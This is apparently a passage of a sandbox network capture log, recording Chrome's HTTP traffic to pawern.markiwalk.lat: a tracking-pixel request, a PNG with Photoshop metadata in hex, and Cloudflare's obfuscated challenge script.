36	192.168.2.16	49769	34.215.34.228	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:15 UTC	906	OUT	GET /p/m.gif?label=dXJsPWh0dHBzJTNBJTJGJTJGcGF3ZXJuLm1hcmtpd2Fsay5sYXQlMkZ2am5jbCUyRnV2cmUlMkZuamFtJTJGaWVybiZtaWQ9NTcwNWU5NjE3MzlmMjVlMDI3NTQxYzliNTNkNmI5MzYmdGFnPWI5MjcyMmRjYjBlZDhmNjY4MDM2OTU4Mzk1ZWE2MmU3LTEyMzY1MDMxNDAmaGFzaD1mYmRkYjhkZjQxM2M4OWExZWRhNzk2NGU2MmRmNzljZCwmYnJvd3Nlcj1DaHJvbWUmaXNtb2JpbGU9ZmFsc2UmY3RzPTE3Mjc5NzIyOTQ0OTkmc2hvcnRpZD1Ca0p6ODdL HTTP/1.1 Host: p.sitemana.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://pawern.markiwalk.lat Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pawern.markiwalk.lat/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:18:15 UTC	891	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:15 GMT Content-Type: image/gif Content-Length: 35 Connection: close Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests X-DNS-Prefetch-Control: off Expect-CT: max-age=0 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none Referrer-Policy: no-referrer X-XSS-Protection: 0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept Access-Control-Allow-Credentials: true
2024-10-03 16:18:15 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49775	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:15 UTC	420	OUT	GET /master/us217/product.png HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:15 UTC	803	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:15 GMT Content-Type: image/png Content-Length: 70077 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:27:01 GMT last-modified: Thu, 05 Sep 2024 16:49:32 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 3074 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Le5%2BM6Z04aAibsGvLvhvaB7uwAt8EWCS0cdpU121diyP8dYTUJ53xOkbXUUWTq1MkLxIFKwIcGtgL7Ixnwt1V%2BtzNgEYM0GHp1NvqbYuDLj5Zmm4Atb7qjyoOyZJLbD%2BwKtOIEr%2Fdw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f41599f0f83-EWR
2024-10-03 16:18:15 UTC	566	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 fa 00 00 00 fa 08 03 00 00 00 bf 32 aa 0f 00 00 a0 66 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 34 38 38 2c 20 32 30 32 30 2f 30 37 2f 31 30 2d 32 32 3a 30 36 3a 35 33 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 Data Ascii: PNGIHDR2fiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53 "> <rdf:RDF xmlns:rdf="http://w
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 74 23 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 22 20 78 6d 70 3a 43 72 65 61 74 65 44 61 74 65 3d 22 32 30 32 32 2d 30 34 2d 32 31 54 32 31 3a 34 35 3a 31 33 2b 30 38 3a 30 30 22 20 78 6d 70 3a 4d 6f 64 69 66 79 44 61 74 65 3d 22 32 30 32 34 2d 30 39 2d 30 35 54 32 32 3a 30 36 3a 35 30 2b 30 35 3a 33 30 22 20 78 6d 70 3a 4d 65 74 61 64 61 74 61 44 61 74 65 3d 22 32 30 32 34 2d 30 39 2d 30 35 54 32 32 3a 30 36 3a 35 30 2b 30 35 3a 33 30 22 20 64 63 3a 66 6f 72 6d 61 74 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 70 68 6f 74 6f 73 68 6f 70 3a 43 6f 6c 6f 72 4d 6f 64 65 3d 22 33 22 20 70 68 6f 74 6f 73 68 6f 70 3a 49 43 43 50 72 6f 66 69 6c 65 3d 22 73 52 47 Data Ascii: t#" xmp:CreatorTool="Adobe Photoshop 21.0 (Windows)" xmp:CreateDate="2022-04-21T21:45:13+08:00" xmp:ModifyDate="2024-09-05T22:06:50+05:30" xmp:MetadataDate="2024-09-05T22:06:50+05:30" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRG
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 41 44 35 35 39 39 33 42 38 45 31 46 32 46 31 39 39 46 30 35 37 34 31 43 38 44 32 37 43 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 42 39 45 35 44 32 39 31 32 44 38 32 36 36 37 41 31 43 32 44 32 33 31 30 38 44 35 37 34 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 44 30 38 39 44 37 41 35 38 41 39 34 41 37 46 41 30 38 41 39 44 31 45 38 43 33 41 39 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 46 31 31 39 37 43 36 34 32 44 31 36 42 43 34 35 31 41 36 36 39 41 46 33 45 43 41 37 32 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 32 41 45 30 43 32 30 38 37 31 31 43 32 34 38 42 38 38 41 39 43 32 37 42 44 30 31 30 42 38 42 3c 2f 72 64 66 3a 6c 69 Data Ascii: df:li> <rdf:li>1AD55993B8E1F2F199F05741C8D27CD6</rdf:li> <rdf:li>1B9E5D2912D82667A1C2D23108D574E5</rdf:li> <rdf:li>1DD089D7A58A94A7FA08A9D1E8C3A9A6</rdf:li> <rdf:li>1F1197C642D16BC451A669AF3ECA722C</rdf:li> <rdf:li>22AE0C208711C248B88A9C27BD010B8B</rdf:li
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 41 32 35 42 37 34 44 45 35 35 31 34 39 41 33 41 41 42 31 33 33 46 30 42 34 42 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 31 34 42 45 30 46 43 46 45 45 41 41 43 46 41 30 31 39 44 36 46 31 38 36 32 45 39 45 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 33 39 34 39 32 41 32 34 30 44 43 39 46 41 34 32 45 36 41 32 45 45 36 45 39 37 34 35 45 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 35 33 44 43 34 33 35 38 46 39 36 37 43 38 43 32 46 35 38 36 44 39 37 38 38 31 39 44 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 43 37 42 44 41 36 43 36 34 31 35 35 38 46 38 43 45 38 45 46 42 45 33 31 31 41 45 42 43 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 43 43 33 32 31 33 34 30 Data Ascii: A25B74DE55149A3AAB133F0B4B39</rdf:li> <rdf:li>4614BE0FCFEEAACFA019D6F1862E9EA5</rdf:li> <rdf:li>4639492A240DC9FA42E6A2EE6E9745E4</rdf:li> <rdf:li>4A53DC4358F967C8C2F586D978819D3E</rdf:li> <rdf:li>4C7BDA6C641558F8CE8EFBE311AEBC8B</rdf:li> <rdf:li>4CC321340
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 32 44 31 39 44 38 30 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 39 41 32 46 44 39 46 46 42 31 45 43 38 32 33 37 41 36 33 37 31 37 44 38 30 31 46 39 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 46 36 30 38 34 45 34 45 42 43 30 37 43 36 42 30 38 36 43 31 43 46 37 38 42 34 36 41 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 46 41 42 43 38 42 46 32 44 44 37 42 36 31 33 38 38 41 34 37 32 43 30 32 38 32 35 33 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 32 38 36 45 44 41 32 37 35 39 39 43 34 46 42 41 38 34 32 34 34 42 41 33 42 46 43 31 33 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 32 45 43 41 45 38 34 34 41 33 34 43 45 46 38 44 45 38 43 37 33 43 36 41 32 30 31 Data Ascii: 2D19D80BB</rdf:li> <rdf:li>709A2FD9FFB1EC8237A63717D801F9E5</rdf:li> <rdf:li>70F6084E4EBC07C6B086C1CF78B46AA1</rdf:li> <rdf:li>70FABC8BF2DD7B61388A472C02825305</rdf:li> <rdf:li>7286EDA27599C4FBA84244BA3BFC13EE</rdf:li> <rdf:li>72ECAE844A34CEF8DE8C73C6A201
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 39 43 44 32 42 35 35 37 34 33 35 31 31 42 33 45 36 31 46 34 46 33 44 35 45 39 35 30 41 44 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 33 30 30 42 36 37 35 36 43 38 41 46 35 36 39 39 44 35 43 32 34 31 46 44 46 35 31 43 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 38 32 42 37 44 34 38 43 42 38 43 46 36 34 39 44 45 39 35 35 44 41 38 41 39 42 46 30 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 42 31 36 30 33 36 41 38 44 41 34 44 38 39 36 37 46 44 46 44 42 46 46 34 36 39 46 30 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 35 41 33 44 34 39 45 46 36 46 30 43 45 45 34 35 33 41 38 41 37 33 37 33 38 31 43 44 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>9CD2B55743511B3E61F4F3D5E950AD80</rdf:li> <rdf:li>9E300B6756C8AF5699D5C241FDF51CFE</rdf:li> <rdf:li>A382B7D48CB8CF649DE955DA8A9BF011</rdf:li> <rdf:li>A3B16036A8DA4D8967FDFDBFF469F06B</rdf:li> <rdf:li>A65A3D49EF6F0CEE453A8A737381CDA9</rdf:li> <rdf:
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 32 35 38 38 32 42 33 38 36 39 32 46 39 31 43 39 35 43 39 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 35 33 34 44 38 44 36 30 32 45 38 36 39 38 38 36 42 44 34 45 36 39 37 39 46 38 43 46 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 43 32 32 37 30 45 33 35 36 30 34 45 45 41 43 32 37 35 34 45 30 41 32 43 36 30 35 38 46 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 45 30 39 37 45 30 35 31 41 44 36 36 35 37 44 31 39 41 30 30 36 34 30 37 36 45 45 35 44 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 46 38 39 39 41 42 38 39 39 30 30 35 36 33 30 35 36 32 39 33 31 45 31 37 45 30 31 33 36 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 32 34 43 30 43 38 36 45 31 38 32 41 46 33 36 Data Ascii: 25882B38692F91C95C95B</rdf:li> <rdf:li>DB534D8D602E869886BD4E6979F8CFD0</rdf:li> <rdf:li>DC2270E35604EEAC2754E0A2C6058F1F</rdf:li> <rdf:li>DE097E051AD6657D19A0064076EE5D0A</rdf:li> <rdf:li>DF899AB899005630562931E17E0136C2</rdf:li> <rdf:li>E24C0C86E182AF36
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 34 34 2d 31 35 31 33 2d 31 31 37 38 2d 62 66 37 33 2d 66 34 36 39 32 64 62 66 37 32 61 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 32 32 35 32 38 65 61 2d 64 62 38 35 2d 63 66 34 31 2d 39 65 63 66 2d 37 34 32 65 65 36 35 33 38 38 61 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 32 35 32 61 32 36 39 2d 35 64 62 63 2d 31 31 37 39 2d 38 63 34 63 2d 39 36 61 66 38 31 66 38 35 63 63 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 32 64 63 65 65 37 38 2d 63 30 64 66 2d 31 31 37 37 2d 62 38 35 34 2d 65 31 38 65 30 61 62 61 31 Data Ascii: 44-1513-1178-bf73-f4692dbf72a5</rdf:li> <rdf:li>adobe:docid:photoshop:022528ea-db85-cf41-9ecf-742ee65388aa</rdf:li> <rdf:li>adobe:docid:photoshop:0252a269-5dbc-1179-8c4c-96af81f85cc7</rdf:li> <rdf:li>adobe:docid:photoshop:02dcee78-c0df-1177-b854-e18e0aba1
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 34 2d 36 35 38 31 2d 62 31 34 31 2d 61 64 38 61 2d 66 64 36 34 66 64 39 35 61 31 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 30 66 64 39 66 33 36 2d 38 35 66 66 2d 31 31 37 61 2d 61 39 34 39 2d 61 36 31 61 62 37 65 65 30 31 66 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 32 30 30 64 62 30 63 2d 62 33 37 31 2d 31 31 37 62 2d 62 37 36 62 2d 66 31 63 33 62 66 62 34 34 35 63 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 32 63 65 34 37 64 32 2d 38 37 38 37 2d 31 31 37 61 2d 62 30 34 38 2d 62 32 36 62 36 35 64 39 36 64 Data Ascii: 4-6581-b141-ad8a-fd64fd95a138</rdf:li> <rdf:li>adobe:docid:photoshop:10fd9f36-85ff-117a-a949-a61ab7ee01ff</rdf:li> <rdf:li>adobe:docid:photoshop:1200db0c-b371-117b-b76b-f1c3bfb445c1</rdf:li> <rdf:li>adobe:docid:photoshop:12ce47d2-8787-117a-b048-b26b65d96d
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 2d 63 32 36 63 2d 31 31 37 37 2d 62 31 64 33 2d 39 62 35 64 36 62 61 37 34 39 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 30 62 34 63 36 64 63 2d 64 63 62 61 2d 31 31 37 39 2d 62 63 66 38 2d 66 37 38 65 66 33 30 66 35 36 61 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 31 35 35 30 37 37 64 2d 38 32 65 62 2d 31 31 37 61 2d 39 61 38 63 2d 66 31 39 63 39 33 63 39 36 64 37 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 32 36 35 37 39 63 38 2d 36 64 66 31 2d 39 32 34 65 2d 61 36 64 63 2d 61 38 37 66 30 66 30 65 36 66 38 Data Ascii: -c26c-1177-b1d3-9b5d6ba74952</rdf:li> <rdf:li>adobe:docid:photoshop:20b4c6dc-dcba-1179-bcf8-f78ef30f56a3</rdf:li> <rdf:li>adobe:docid:photoshop:2155077d-82eb-117a-9a8c-f19c93c96d7e</rdf:li> <rdf:li>adobe:docid:photoshop:226579c8-6df1-924e-a6dc-a87f0f0e6f8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49777	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:16 UTC	601	OUT	GET /cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js? HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:16 UTC	654	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:16 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 7949 Connection: close cache-control: max-age=14400, stale-if-error=10800, stale-while-revalidate=10800, public x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H%2FOyf9tcX7f9H1QAamUW8NzovX3ydn6OXP6LM4P9n3gqaPTWRim1Zq5f77CgBzZ3n0Fk6PODaUmvbCcdyXdMrklFRfvolMW4NHRRntOE9dVuNjRQZbi1ify4dGuuuIFx5cS4ZtylGg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f42dbbb5e82-EWR
2024-10-03 16:18:16 UTC	715	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 3d 7b 63 46 50 57 76 3a 27 67 27 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 56 2c 66 2c 67 2c 68 2c 6d 2c 6e 2c 78 2c 79 29 7b 56 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 55 2c 42 2c 43 29 7b 66 6f 72 28 55 3d 62 2c 42 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 43 3d 70 61 72 73 65 49 6e 74 28 55 28 33 31 35 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 55 28 32 39 32 29 29 2f 32 2b 2d 70 61 72 73 65 49 6e 74 28 55 28 32 39 34 29 29 2f 33 2b 2d 70 61 72 73 65 49 6e 74 28 55 28 32 37 37 29 29 2f 34 2b 2d 70 61 72 73 65 49 6e 74 28 55 28 33 34 38 29 29 2f 35 2a 28 70 61 72 73 65 49 6e 74 28 55 28 32 39 30 29 29 2f 36 29 2b 70 61 72 73 65 49 6e 74 28 55 28 33 31 37 29 29 2f 37 2b 2d 70 61 72 73 65 Data Ascii: window._cf_chl_opt={cFPWv:'g'};~function(V,f,g,h,m,n,x,y){V=b,function(c,d,U,B,C){for(U=b,B=c();!![];)try{if(C=parseInt(U(315))/1+parseInt(U(292))/2+-parseInt(U(294))/3+-parseInt(U(277))/4+-parseInt(U(348))/5*(parseInt(U(290))/6)+parseInt(U(317))/7+-parse
2024-10-03 16:18:16 UTC	1369	IN	Data Raw: 3d 21 30 29 2c 53 3d 4a 2b 52 2c 4f 62 6a 65 63 74 5b 59 28 33 32 33 29 5d 5b 59 28 33 31 36 29 5d 5b 59 28 32 36 37 29 5d 28 48 2c 53 29 29 4a 3d 53 3b 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 59 28 33 32 33 29 5d 5b 59 28 33 31 36 29 5d 5b 59 28 32 36 37 29 5d 28 49 2c 4a 29 29 7b 69 66 28 32 35 36 3e 4a 5b 59 28 33 36 35 29 5d 28 30 29 29 7b 66 6f 72 28 47 3d 30 3b 47 3c 4d 3b 4f 3c 3c 3d 31 2c 45 2d 31 3d 3d 50 3f 28 50 3d 30 2c 4e 5b 59 28 32 38 30 29 5d 28 46 28 4f 29 29 2c 4f 3d 30 29 3a 50 2b 2b 2c 47 2b 2b 29 3b 66 6f 72 28 54 3d 4a 5b 59 28 33 36 35 29 5d 28 30 29 2c 47 3d 30 3b 38 3e 47 3b 4f 3d 31 2e 30 38 26 54 7c 4f 3c 3c 31 2e 35 33 2c 45 2d 31 3d 3d 50 3f 28 50 3d 30 2c 4e 5b 59 28 32 38 30 29 5d 28 46 28 4f 29 29 2c 4f 3d 30 29 3a 50 Data Ascii: =!0),S=J+R,Object[Y(323)][Y(316)][Y(267)](H,S))J=S;else{if(Object[Y(323)][Y(316)][Y(267)](I,J)){if(256>J[Y(365)](0)){for(G=0;G<M;O<<=1,E-1==P?(P=0,N[Y(280)](F(O)),O=0):P++,G++);for(T=J[Y(365)](0),G=0;8>G;O=1.08&T\|O<<1.53,E-1==P?(P=0,N[Y(280)](F(O)),O=0):P
2024-10-03 16:18:16 UTC	1369	IN	Data Raw: 3d 3d 27 27 3f 6e 75 6c 6c 3a 42 2e 69 28 44 5b 5a 28 33 33 36 29 5d 2c 33 32 37 36 38 2c 66 75 6e 63 74 69 6f 6e 28 45 2c 61 30 29 7b 72 65 74 75 72 6e 20 61 30 3d 5a 2c 44 5b 61 30 28 33 36 35 29 5d 28 45 29 7d 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 44 2c 45 2c 46 2c 61 31 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 2c 4f 2c 50 2c 51 2c 52 2c 54 2c 53 29 7b 66 6f 72 28 61 31 3d 57 2c 47 3d 5b 5d 2c 48 3d 34 2c 49 3d 34 2c 4a 3d 33 2c 4b 3d 5b 5d 2c 4e 3d 46 28 30 29 2c 4f 3d 45 2c 50 3d 31 2c 4c 3d 30 3b 33 3e 4c 3b 47 5b 4c 5d 3d 4c 2c 4c 2b 3d 31 29 3b 66 6f 72 28 51 3d 30 2c 52 3d 4d 61 74 68 5b 61 31 28 33 32 31 29 5d 28 32 2c 32 29 2c 4d 3d 31 3b 52 21 3d 4d 3b 53 3d 4f 26 4e 2c 4f 3e 3e 3d 31 2c 30 3d 3d 4f 26 26 28 4f 3d 45 2c 4e 3d Data Ascii: ==''?null:B.i(D[Z(336)],32768,function(E,a0){return a0=Z,D[a0(365)](E)})},'i':function(D,E,F,a1,G,H,I,J,K,L,M,N,O,P,Q,R,T,S){for(a1=W,G=[],H=4,I=4,J=3,K=[],N=F(0),O=E,P=1,L=0;3>L;G[L]=L,L+=1);for(Q=0,R=Math[a1(321)](2,2),M=1;R!=M;S=O&N,O>>=1,0==O&&(O=E,N=
2024-10-03 16:18:16 UTC	1369	IN	Data Raw: 33 29 5d 5b 61 61 28 32 37 31 29 5d 26 26 28 47 3d 47 5b 61 61 28 33 35 30 29 5d 28 42 5b 61 61 28 32 39 33 29 5d 5b 61 61 28 32 37 31 29 5d 28 43 29 29 29 2c 47 3d 42 5b 61 61 28 32 39 39 29 5d 5b 61 61 28 33 31 33 29 5d 26 26 42 5b 61 61 28 33 36 30 29 5d 3f 42 5b 61 61 28 32 39 39 29 5d 5b 61 61 28 33 31 33 29 5d 28 6e 65 77 20 42 5b 28 61 61 28 33 36 30 29 29 5d 28 47 29 29 3a 66 75 6e 63 74 69 6f 6e 28 4d 2c 61 62 2c 4e 29 7b 66 6f 72 28 61 62 3d 61 61 2c 4d 5b 61 62 28 32 37 30 29 5d 28 29 2c 4e 3d 30 3b 4e 3c 4d 5b 61 62 28 33 33 36 29 5d 3b 4d 5b 4e 2b 31 5d 3d 3d 3d 4d 5b 4e 5d 3f 4d 5b 61 62 28 32 37 35 29 5d 28 4e 2b 31 2c 31 29 3a 4e 2b 3d 31 29 3b 72 65 74 75 72 6e 20 4d 7d 28 47 29 2c 48 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 Data Ascii: 3)][aa(271)]&&(G=G[aa(350)](B[aa(293)][aa(271)](C))),G=B[aa(299)][aa(313)]&&B[aa(360)]?B[aa(299)][aa(313)](new B[(aa(360))](G)):function(M,ab,N){for(ab=aa,M[ab(270)](),N=0;N<M[ab(336)];M[N+1]===M[N]?M[ab(275)](N+1,1):N+=1);return M}(G),H='nAsAaAb'.split('
2024-10-03 16:18:16 UTC	1369	IN	Data Raw: 35 28 33 32 32 29 5d 28 61 35 28 33 33 35 29 2c 61 35 28 33 35 38 29 29 2c 4b 3d 7b 7d 2c 4b 5b 61 35 28 33 36 37 29 5d 3d 44 2c 4b 5b 61 35 28 33 33 33 29 5d 3d 4a 2c 4b 5b 61 35 28 32 39 36 29 5d 3d 61 35 28 33 30 38 29 2c 4c 3d 68 5b 61 35 28 32 39 38 29 5d 28 4a 53 4f 4e 5b 61 35 28 32 38 35 29 5d 28 4b 29 29 5b 61 35 28 32 38 32 29 5d 28 27 2b 27 2c 61 35 28 32 38 36 29 29 2c 47 5b 61 35 28 33 35 33 29 5d 28 27 76 5f 27 2b 45 2e 72 2b 27 3d 27 2b 4c 29 7d 63 61 74 63 68 28 4d 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 63 2c 64 2c 61 34 2c 42 2c 43 29 7b 61 34 3d 56 2c 42 3d 7b 27 77 70 27 3a 68 5b 61 34 28 32 39 38 29 5d 28 4a 53 4f 4e 5b 61 34 28 32 38 35 29 5d 28 64 29 29 2c 27 73 27 3a 61 34 28 32 36 39 29 7d 2c 43 3d 6e 65 77 20 58 4d 4c 48 74 Data Ascii: 